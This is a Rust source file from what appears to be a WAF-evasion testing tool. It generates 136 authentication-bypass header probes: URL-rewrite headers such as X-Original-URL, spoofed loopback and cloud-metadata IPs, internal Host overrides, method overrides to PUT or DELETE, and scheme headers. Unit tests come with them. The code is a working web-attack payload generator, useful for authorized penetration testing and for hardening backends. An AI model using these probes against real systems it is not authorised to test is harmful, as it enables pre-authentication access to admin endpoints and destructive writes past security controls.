wafrift_encoding/auth_bypass.rs
1//! Auth-bypass header probes (Orange Tsai parser-disagreement class).
2//!
3//! Many WAFs strip or never forward certain "trust" headers — but the
4//! origin application accepts them and uses them for routing or
5//! authentication decisions. The classic exploit primitive is:
6//!
7//! - `X-Original-URL: /admin/secret` — IIS / ASP.NET URL rewriting.
8//! WAF sees `GET /public` and lets it through; backend rewrites to
9//! `/admin/secret` and serves it.
10//! - `X-Rewrite-URL: /admin/secret` — same family, different stack.
11//! - `X-Forwarded-For: 127.0.0.1` — origin trusts this for IP-based
12//! allowlists ("internal calls only").
13//! - `X-Real-IP`, `X-Originating-IP`, `X-Client-IP`, `X-Remote-IP`,
14//! `X-Forwarded-Host` — same family, different headers.
15//! - `X-HTTP-Method-Override: PUT` — origin overrides the actual HTTP
16//! method, turning a GET past the WAF into a destructive write.
17//!
18//! These are not "WAF evasion" in the traditional sense — they exploit
19//! the WAF's correct behaviour (passing through unknown headers) plus
20//! the backend's incorrect behaviour (trusting them). Together: real
21//! pre-auth access on hardened-looking deployments. ProxyShell
22//! (CVE-2021-34473) and a long tail of Bugcrowd / HackerOne reports
23//! are in this class.
24//!
25//! This module emits a list of `(header_name, header_value)` pairs.
26//! Each pair is one probe variant; callers attach exactly one per
27//! request and observe whether the response status / body changes vs
28//! the baseline.
29
30/// One auth-bypass probe to attach to a single request.
31#[derive(Debug, Clone, PartialEq, Eq)]
32pub struct AuthBypassProbe {
33 /// Header name to inject.
34 pub header: String,
35 /// Header value.
36 pub value: String,
37 /// Short label naming the bypass family (e.g. `x-original-url`,
38 /// `forwarded-for-localhost`, `method-override-put`). Useful for
39 /// gene-bank attribution.
40 pub label: &'static str,
41 /// Concise human description suitable for a finding report.
42 pub description: &'static str,
43}
44
45/// Generate the full set of routing / auth bypass probes for the given
46/// target. `target_path` is the protected resource the user is trying
47/// to reach (e.g. `/admin/users`, `/internal/api/keys`). For probes
48/// that don't take a path it is ignored.
49#[must_use]
50pub fn auth_bypass_probes(target_path: &str) -> Vec<AuthBypassProbe> {
51 let mut out = Vec::new();
52
53 // ── URL-rewrite header family ────────────────────────────────────
54 // IIS / ASP.NET / Apache mod_rewrite all honour these in various
55 // configs. The WAF doesn't, so it sees the harmless surface URL.
56 for header in [
57 "X-Original-URL",
58 "X-Rewrite-URL",
59 "X-Override-URL",
60 "X-HTTP-Destination",
61 "Original-URL",
62 "X-Forwarded-Path",
63 ] {
64 out.push(AuthBypassProbe {
65 header: header.to_string(),
66 value: target_path.to_string(),
67 label: "url-rewrite-header",
68 description: "WAF passes header through; backend rewrites URL to target",
69 });
70 }
71
72 // ── IP-trust header family ───────────────────────────────────────
73 // Many backends gate /admin or /internal on "is the source IP in
74 // the loopback / RFC1918 range?" — and read the header instead of
75 // the socket peer. Spoof the trusted IP.
76 let trusted_ips = [
77 "127.0.0.1",
78 "::1",
79 "localhost",
80 "10.0.0.1",
81 "192.168.0.1",
82 "172.16.0.1",
83 "169.254.169.254", // AWS metadata service host
84 ];
85 let ip_headers = [
86 "X-Forwarded-For",
87 "X-Real-IP",
88 "X-Originating-IP",
89 "X-Client-IP",
90 "X-Remote-IP",
91 "X-Remote-Addr",
92 "Forwarded", // RFC 7239 standard form
93 "True-Client-IP", // Akamai / Cloudflare Enterprise
94 "CF-Connecting-IP",
95 "Fastly-Client-IP",
96 "X-Cluster-Client-IP",
97 "Client-IP",
98 ];
99 for h in ip_headers {
100 for ip in trusted_ips {
101 let value = if h.eq_ignore_ascii_case("Forwarded") {
102 format!("for={ip}")
103 } else {
104 ip.to_string()
105 };
106 out.push(AuthBypassProbe {
107 header: h.to_string(),
108 value,
109 label: "ip-trust-spoof",
110 description: "Backend trusts header for IP-based authorization",
111 });
112 }
113 }
114
115 // ── Host-trust header family ─────────────────────────────────────
116 // Origin uses Host header for vhost routing or for "is this an
117 // internal call?". Override with an internal hostname.
118 for h in ["X-Forwarded-Host", "X-Host", "X-Forwarded-Server", "Host"] {
119 for v in ["localhost", "internal", "admin.internal", "127.0.0.1"] {
120 out.push(AuthBypassProbe {
121 header: h.to_string(),
122 value: v.to_string(),
123 label: "host-trust-override",
124 description: "Origin uses header for vhost/internal-call routing",
125 });
126 }
127 }
128
129 // ── Method-override family ───────────────────────────────────────
130 // Backends accepting these turn a GET past the WAF into a PUT/
131 // DELETE/PATCH. Useful when the WAF only inspects state-changing
132 // methods.
133 for value in ["PUT", "DELETE", "PATCH", "POST", "PROPFIND", "TRACE"] {
134 for h in [
135 "X-HTTP-Method-Override",
136 "X-HTTP-Method",
137 "X-Method-Override",
138 "_method", // Rails, Symfony default
139 ] {
140 out.push(AuthBypassProbe {
141 header: h.to_string(),
142 value: value.to_string(),
143 label: "method-override",
144 description: "Origin honours header to switch HTTP method (GET → PUT/DELETE)",
145 });
146 }
147 }
148
149 // ── Scheme-trust family ──────────────────────────────────────────
150 // Some apps gate features on "did you come in over HTTPS?" by
151 // reading X-Forwarded-Proto. If they only enforce auth on HTTP,
152 // forcing https here can flip a check.
153 for h in ["X-Forwarded-Proto", "X-Forwarded-Scheme", "X-Url-Scheme"] {
154 for v in ["http", "https"] {
155 out.push(AuthBypassProbe {
156 header: h.to_string(),
157 value: v.to_string(),
158 label: "scheme-trust",
159 description: "Origin uses header to decide HTTPS-only enforcement",
160 });
161 }
162 }
163
164 out
165}
166
167#[cfg(test)]
168mod tests {
169 use super::*;
170
171 #[test]
172 fn url_rewrite_family_targets_user_path() {
173 let probes = auth_bypass_probes("/admin/users");
174 let rewrite = probes
175 .iter()
176 .filter(|p| p.label == "url-rewrite-header")
177 .collect::<Vec<_>>();
178 assert!(rewrite.len() >= 6, "missing rewrite-header variants");
179 for p in rewrite {
180 assert_eq!(
181 p.value, "/admin/users",
182 "{} did not carry user path",
183 p.header
184 );
185 }
186 }
187
188 #[test]
189 fn x_original_url_present() {
190 let probes = auth_bypass_probes("/admin");
191 assert!(
192 probes
193 .iter()
194 .any(|p| p.header == "X-Original-URL" && p.value == "/admin"),
195 "missing canonical X-Original-URL probe"
196 );
197 }
198
199 #[test]
200 fn ip_trust_includes_loopback_and_metadata() {
201 let probes = auth_bypass_probes("/x");
202 let ip = probes
203 .iter()
204 .filter(|p| p.label == "ip-trust-spoof")
205 .collect::<Vec<_>>();
206 assert!(ip.iter().any(|p| p.value == "127.0.0.1"));
207 assert!(ip.iter().any(|p| p.value == "169.254.169.254"));
208 // RFC 7239 Forwarded uses for=<ip> form, not bare IP.
209 assert!(
210 ip.iter()
211 .any(|p| p.header.eq_ignore_ascii_case("Forwarded") && p.value.starts_with("for="))
212 );
213 }
214
215 #[test]
216 fn method_override_offers_destructive_methods() {
217 let probes = auth_bypass_probes("/x");
218 let methods: Vec<&str> = probes
219 .iter()
220 .filter(|p| p.label == "method-override")
221 .map(|p| p.value.as_str())
222 .collect();
223 for m in ["PUT", "DELETE", "PATCH"] {
224 assert!(methods.contains(&m), "method {m} not in override probes");
225 }
226 }
227
228 #[test]
229 fn forwarded_host_includes_internal() {
230 let probes = auth_bypass_probes("/x");
231 assert!(
232 probes.iter().any(|p| p.header == "X-Forwarded-Host"
233 && (p.value == "localhost" || p.value == "internal"))
234 );
235 }
236
237 #[test]
238 fn no_probe_has_empty_header_or_value() {
239 for p in auth_bypass_probes("/x") {
240 assert!(!p.header.is_empty(), "empty header in probe");
241 assert!(!p.value.is_empty(), "empty value in probe: {p:?}");
242 }
243 }
244
245 #[test]
246 fn probes_have_unique_header_value_pairs() {
247 let probes = auth_bypass_probes("/admin");
248 let mut seen = std::collections::HashSet::new();
249 for p in &probes {
250 let key = (p.header.to_lowercase(), p.value.clone());
251 assert!(
252 seen.insert(key.clone()),
253 "duplicate (header, value) pair: {key:?}"
254 );
255 }
256 }
257
258 #[test]
259 fn total_probe_count_locked() {
260 // Lock the count so a future edit doesn't silently drop a probe
261 // family. URL-rewrite (6) + IP-trust (12 headers × 7 IPs = 84)
262 // + Host-trust (4 × 4 = 16) + Method-override (4 × 6 = 24)
263 // + Scheme-trust (3 × 2 = 6) = 136.
264 let probes = auth_bypass_probes("/x");
265 assert_eq!(probes.len(), 136, "auth_bypass_probes count drift");
266 }
267}